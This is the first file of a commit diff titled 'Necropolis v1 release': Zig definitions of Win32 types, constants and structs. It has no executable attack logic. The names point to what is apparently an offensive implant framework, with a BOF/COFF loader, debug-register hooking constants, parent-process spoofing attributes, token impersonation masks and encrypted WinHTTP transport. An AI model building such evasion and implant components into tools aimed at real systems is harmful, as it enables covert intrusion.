Necropolis v1 release

2026-07-07 04:37:29 +01:00
commit cf9c51a3df
69 changed files with 15056 additions and 0 deletions
@@ -0,0 +1,472 @@
+// Win32 type aliases, constants, and struct definitions — data layout only, no function types.
+// 1. Base types — CHAR→i8, DWORD→u32, NTSTATUS→i32, BOOL→i32, ULONG_PTR→usize.
+// 2. Pointers/handles — LPVOID→*anyopaque, HANDLE, HMODULE, PHANDLE, HINTERNET.
+// 3. Strings — LPSTR→[*:0]u8, LPCWSTR→[*:0]const u16, FARPROC, PDWORD.
+// 4. Inline helpers — NT_SUCCESS, memory/page constants (PAGE_NOACCESS→MEM_RELEASE).
+// 5. Exception — EXCEPTION_SINGLE_STEP=0x80000004, CONTEXT_DEBUG_REGISTERS=0x00100010.
+// 6. Startup — STARTUPINFOEXA, PROCESS_INFORMATION, PROC_THREAD_ATTRIBUTE_*.
+// 7. COFF — section/symbol/relocation structs for BOF loader.
+// 8. Crypto — BCRYPT_AES_ALGORITHM, ECDH P-256, AES-256-GCM sizes, auth mode info.
+// 9. NT kernel — CONTEXT (debug regs at offset 192+), EXCEPTION_RECORD, OBJECT_ATTRIBUTES.
+// 10. Security — TOKEN_PRIVILEGES, LUID, SE_PRIVILEGE_ENABLED, token access masks.
+const std = @import("std");
+
+pub const WINAPI = std.builtin.CallingConvention.winapi;
+
+pub const CHAR = i8;
+pub const UCHAR = u8;
+pub const BYTE = u8;
+pub const WORD = u16;
+pub const WCHAR = u16;
+pub const SHORT = i16;
+pub const INT = i32;
+pub const UINT = u32;
+pub const LONG = i32;
+pub const DWORD = u32;
+pub const DWORD64 = u64;
+pub const ULONG = u32;
+pub const LONGLONG = i64;
+pub const ULONGLONG = u64;
+pub const BOOL = i32;
+pub const BOOLEAN = u8;
+pub const NTSTATUS = i32;
+pub const HRESULT = i32;
+pub const SIZE_T = usize;
+pub const DWORD_PTR = usize;
+pub const UINT_PTR = usize;
+pub const ULONG_PTR = usize;
+pub const LONG_PTR = isize;
+pub const LARGE_INTEGER = i64;
+pub const INTERNET_PORT = u16;
+
+pub const LPVOID = *anyopaque;
+pub const LPCVOID = *const anyopaque;
+pub const HANDLE = *anyopaque;
+pub const PHANDLE = *HANDLE;
+pub const HMODULE = *anyopaque;
+pub const HINSTANCE = *anyopaque;
+pub const HINTERNET = *anyopaque;
+
+pub const LPSTR = [*:0]u8;
+pub const LPCSTR = [*:0]const u8;
+pub const LPWSTR = [*:0]u16;
+pub const LPCWSTR = [*:0]const u16;
+
+pub const PDWORD = *DWORD;
+pub const PULONG = *ULONG;
+pub const PSIZE_T = *SIZE_T;
+pub const PBOOL = *BOOL;
+
+pub const FARPROC = *const fn() callconv(WINAPI) isize;
+
+// 1a. type aliases done. below: inline helpers + memory/page constants
+pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
+    return status >= 0;
+}
+
+pub const MEM_COMMIT: ULONG = 0x00001000;
+pub const MEM_RESERVE: ULONG = 0x00002000;
+pub const MEM_RELEASE: ULONG = 0x00008000;
+
+pub const PAGE_NOACCESS: ULONG = 0x01;
+pub const PAGE_READONLY: ULONG = 0x02;
+pub const PAGE_READWRITE: ULONG = 0x04;
+pub const DLL_PROCESS_ATTACH: ULONG = 1;
+pub const PAGE_EXECUTE: ULONG = 0x10;
+pub const PAGE_EXECUTE_READ: ULONG = 0x20;
+pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40;
+
+pub const CONTEXT_AMD64: DWORD = 0x00100000;
+pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010
+
+pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004;
+pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
+pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
+
+// process/startup constants + structures
+pub const STARTF_USESTDHANDLES: DWORD = 0x00000100;
+
+pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000;
+pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000;
+
+pub const STARTUPINFOEXA = extern struct {
+    StartupInfo: STARTUPINFOA,
+    lpAttributeList: ?*anyopaque,
+};
+
+pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
+
+pub const MAX_PATH: usize = 260;
+
+pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000;
+pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0;
+pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3;
+pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000;
+pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133;
+pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1;
+
+pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) {
+    BINARY_MESSAGE = 0,
+    BINARY_FRAGMENT = 1,
+    UTF8_MESSAGE = 2,
+    UTF8_FRAGMENT = 3,
+    CLOSE = 4,
+};
+
+// 1c. PE/COFF constants for the BOF loader and export parsing
+pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
+pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2;
+pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
+
+pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
+pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
+pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002;
+pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
+pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
+pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005;
+pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006;
+pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007;
+pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008;
+pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009;
+
+pub const COFF_SECT_EXEC: u32 = 0x20000000;
+pub const COFF_SECT_WRITE: u32 = 0x80000000;
+pub const COFF_SECT_DATA: u32 = 0x40000000;
+
+// 1b. BCrypt crypto constants + structs for ECDH/AES-GCM
+pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' };
+pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' };
+pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' };
+pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002;
+
+pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' };
+pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' };
+pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3));
+
+pub const AES_KEY_SIZE: usize = 32;
+pub const GCM_NONCE_SIZE: usize = 12;
+pub const GCM_TAG_SIZE: usize = 16;
+
+pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void {
+    info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
+    info.dwInfoVersion = 1;
+    info.pbNonce = null;
+    info.cbNonce = 0;
+    info.pbAuthData = null;
+    info.cbAuthData = 0;
+    info.pbTag = null;
+    info.cbTag = 0;
+    info.pbMacContext = null;
+    info.cbMacContext = 0;
+    info.dwFlags = 0;
+    info.pbIV = null;
+    info.cbIV = 0;
+}
+
+pub const UNICODE_STRING = extern struct {
+    Length: u16,
+    MaximumLength: u16,
+    Buffer: [*]u16,
+};
+
+pub const SYSTEM_INFO = extern struct {
+    u: extern union {
+        dwOemId: DWORD,
+        s: extern struct {
+            wProcessorArchitecture: WORD,
+            wReserved: WORD,
+        },
+    },
+    dwPageSize: DWORD,
+    lpMinimumApplicationAddress: LPVOID,
+    lpMaximumApplicationAddress: LPVOID,
+    dwActiveProcessorMask: DWORD_PTR,
+    dwNumberOfProcessors: DWORD,
+    dwProcessorType: DWORD,
+    dwAllocationGranularity: DWORD,
+    wProcessorLevel: WORD,
+    wProcessorRevision: WORD,
+};
+
+pub const COORD = extern struct {
+    X: SHORT,
+    Y: SHORT,
+};
+
+pub const MEMORY_BASIC_INFORMATION = extern struct {
+    BaseAddress: LPVOID,
+    AllocationBase: LPVOID,
+    AllocationProtect: DWORD,
+    RegionSize: SIZE_T,
+    State: DWORD,
+    Protect: DWORD,
+    Type: DWORD,
+};
+
+pub const SECURITY_ATTRIBUTES = extern struct {
+    nLength: DWORD,
+    lpSecurityDescriptor: ?LPVOID,
+    bInheritHandle: BOOL,
+};
+
+pub const PROCESS_INFORMATION = extern struct {
+    hProcess: HANDLE,
+    hThread: HANDLE,
+    dwProcessId: DWORD,
+    dwThreadId: DWORD,
+};
+
+pub const STARTUPINFOA = extern struct {
+    cb: DWORD,
+    lpReserved: LPSTR,
+    lpDesktop: LPSTR,
+    lpTitle: LPSTR,
+    dwX: DWORD,
+    dwY: DWORD,
+    dwXSize: DWORD,
+    dwYSize: DWORD,
+    dwXCountChars: DWORD,
+    dwYCountChars: DWORD,
+    dwFillAttribute: DWORD,
+    dwFlags: DWORD,
+    wShowWindow: WORD,
+    cbReserved2: WORD,
+    lpReserved2: *BYTE,
+    hStdInput: HANDLE,
+    hStdOutput: HANDLE,
+    hStdError: HANDLE,
+};
+
+pub const SYSTEMTIME = extern struct {
+    wYear: WORD,
+    wMonth: WORD,
+    wDayOfWeek: WORD,
+    wDay: WORD,
+    wHour: WORD,
+    wMinute: WORD,
+    wSecond: WORD,
+    wMilliseconds: WORD,
+};
+
+// 1d. NT kernel structures — CONTEXT, EXCEPTION_RECORD, object/process types
+pub const CONTEXT = extern struct {
+    P1Home: DWORD64,
+    P2Home: DWORD64,
+    P3Home: DWORD64,
+    P4Home: DWORD64,
+    P5Home: DWORD64,
+    P6Home: DWORD64,
+    ContextFlags: DWORD,
+    MxCsr: DWORD,
+    SegCs: WORD,
+    SegDs: WORD,
+    SegEs: WORD,
+    SegFs: WORD,
+    SegGs: WORD,
+    SegSs: WORD,
+    EFlags: DWORD,
+    Dr0: DWORD64,
+    Dr1: DWORD64,
+    Dr2: DWORD64,
+    Dr3: DWORD64,
+    Dr6: DWORD64,
+    Dr7: DWORD64,
+    Rax: DWORD64,
+    Rcx: DWORD64,
+    Rdx: DWORD64,
+    Rbx: DWORD64,
+    Rsp: DWORD64,
+    Rbp: DWORD64,
+    Rsi: DWORD64,
+    Rdi: DWORD64,
+    R8: DWORD64,
+    R9: DWORD64,
+    R10: DWORD64,
+    R11: DWORD64,
+    R12: DWORD64,
+    R13: DWORD64,
+    R14: DWORD64,
+    R15: DWORD64,
+    Rip: DWORD64,
+};
+
+pub const EXCEPTION_RECORD = extern struct {
+    ExceptionCode: DWORD,
+    ExceptionFlags: DWORD,
+    ExceptionRecord: *EXCEPTION_RECORD,
+    ExceptionAddress: *anyopaque,
+    NumberParameters: DWORD,
+    ExceptionInformation: [15]ULONG_PTR,
+};
+
+pub const EXCEPTION_POINTERS = extern struct {
+    ExceptionRecord: *EXCEPTION_RECORD,
+    ContextRecord: *CONTEXT,
+};
+
+pub const RTL_OSVERSIONINFOW = extern struct {
+    dwOSVersionInfoSize: DWORD,
+    dwMajorVersion: DWORD,
+    dwMinorVersion: DWORD,
+    dwBuildNumber: DWORD,
+    dwPlatformId: DWORD,
+    szCSDVersion: [128]WCHAR,
+};
+
+pub const BCRYPT_ALG_HANDLE = *opaque {};
+pub const BCRYPT_KEY_HANDLE = *opaque {};
+pub const BCRYPT_SECRET_HANDLE = *opaque {};
+
+// 1e. BCrypt auth mode info + COFF loader structs for BOF parsing
+pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct {
+    cbSize: ULONG,
+    dwInfoVersion: ULONG,
+    pbNonce: ?*u8,
+    cbNonce: ULONG,
+    pbAuthData: ?*u8,
+    cbAuthData: ULONG,
+    pbTag: ?*u8,
+    cbTag: ULONG,
+    pbMacContext: ?*u8,
+    cbMacContext: ULONG,
+    dwFlags: ULONG,
+    pbIV: ?*u8,
+    cbIV: ULONG,
+};
+
+pub const coff_file_header_t = extern struct {
+    Machine: u16,
+    NumberOfSections: u16,
+    TimeDateStamp: u32,
+    PointerToSymbolTable: u32,
+    NumberOfSymbols: u32,
+    SizeOfOptionalHeader: u16,
+    Characteristics: u16,
+};
+
+pub const coff_section_header_t = extern struct {
+    Name: [8]u8,
+    VirtualSize: u32,
+    VirtualAddress: u32,
+    SizeOfRawData: u32,
+    PointerToRawData: u32,
+    PointerToRelocations: u32,
+    PointerToLinenumbers: u32,
+    NumberOfRelocations: u16,
+    NumberOfLinenumbers: u16,
+    Characteristics: u32,
+};
+
+pub const coff_symbol_t = extern struct {
+    Name: extern union {
+        ShortName: [8]u8,
+        LongName: extern struct {
+            Zeroes: u32,
+            Offset: u32,
+        },
+    },
+    Value: u32,
+    SectionNumber: i16,
+    Type: u16,
+    StorageClass: u8,
+    NumberOfAuxSymbols: u8,
+};
+
+pub const coff_reloc_t = extern struct {
+    VirtualAddress: u32,
+    SymbolTableIndex: u32,
+    Type: u16,
+};
+
+pub const coff_mapped_section_t = struct {
+    data: []u8,
+    characteristics: u32,
+    name: [8]u8,
+};
+
+pub const bof_data_parser_t = struct {
+    data: []const u8,
+    offset: usize,
+};
+
+pub const OBJECT_ATTRIBUTES = extern struct {
+    Length: ULONG,
+    RootDirectory: ?HANDLE,
+    ObjectName: ?*anyopaque,
+    Attributes: ULONG,
+    SecurityDescriptor: ?*anyopaque,
+    SecurityQualityOfService: ?*anyopaque,
+};
+
+pub const CLIENT_ID = extern struct {
+    UniqueProcess: HANDLE,
+    UniqueThread: ?HANDLE,
+};
+
+pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct {
+    Version: ULONG,
+    Reserved: ULONG,
+    Callback: ?*anyopaque,
+};
+
+pub const PROCESS_CREATE_INFO = extern struct {
+    Size: SIZE_T,
+    ProcessHandle: HANDLE,
+    ParentProcess: HANDLE,
+};
+
+pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) {
+    SecurityAnonymous = 0,
+    SecurityIdentification = 1,
+    SecurityImpersonation = 2,
+    SecurityDelegation = 3,
+};
+
+pub const TOKEN_TYPE = enum(u32) {
+    TokenPrimary = 1,
+    TokenImpersonation = 2,
+};
+
+pub const TOKEN_DUPLICATE: DWORD = 0x0002;
+pub const TOKEN_QUERY: DWORD = 0x0008;
+pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020;
+pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001;
+pub const TOKEN_IMPERSONATE: DWORD = 0x0004;
+
+pub const LUID = extern struct {
+    LowPart: DWORD,
+    HighPart: LONG,
+};
+
+pub const LUID_AND_ATTRIBUTES = extern struct {
+    Luid: LUID,
+    Attributes: DWORD,
+};
+
+pub const TOKEN_PRIVILEGES = extern struct {
+    PrivilegeCount: DWORD,
+    Privileges: [1]LUID_AND_ATTRIBUTES,
+};
+
+// 1f. security/privilege/token constants
+pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002;
+pub const GENERIC_READ: DWORD = 0x80000000;
+pub const GENERIC_WRITE: DWORD = 0x40000000;
+pub const OPEN_EXISTING: DWORD = 3;
+pub const OPEN_ALWAYS: DWORD = 4;
+pub const CREATE_ALWAYS: DWORD = 2;
+pub const FILE_SHARE_READ: DWORD = 0x00000001;
+pub const FILE_SHARE_WRITE: DWORD = 0x00000002;
+pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080;
+pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0));
+
+pub const CRITICAL_SECTION = extern struct {
+    DebugInfo: ?*anyopaque,
+    LockCount: LONG,
+    RecursionCount: LONG,
+    OwningThread: HANDLE,
+    LockSemaphore: HANDLE,
+    SpinCount: ULONG_PTR,
+};
+
+pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;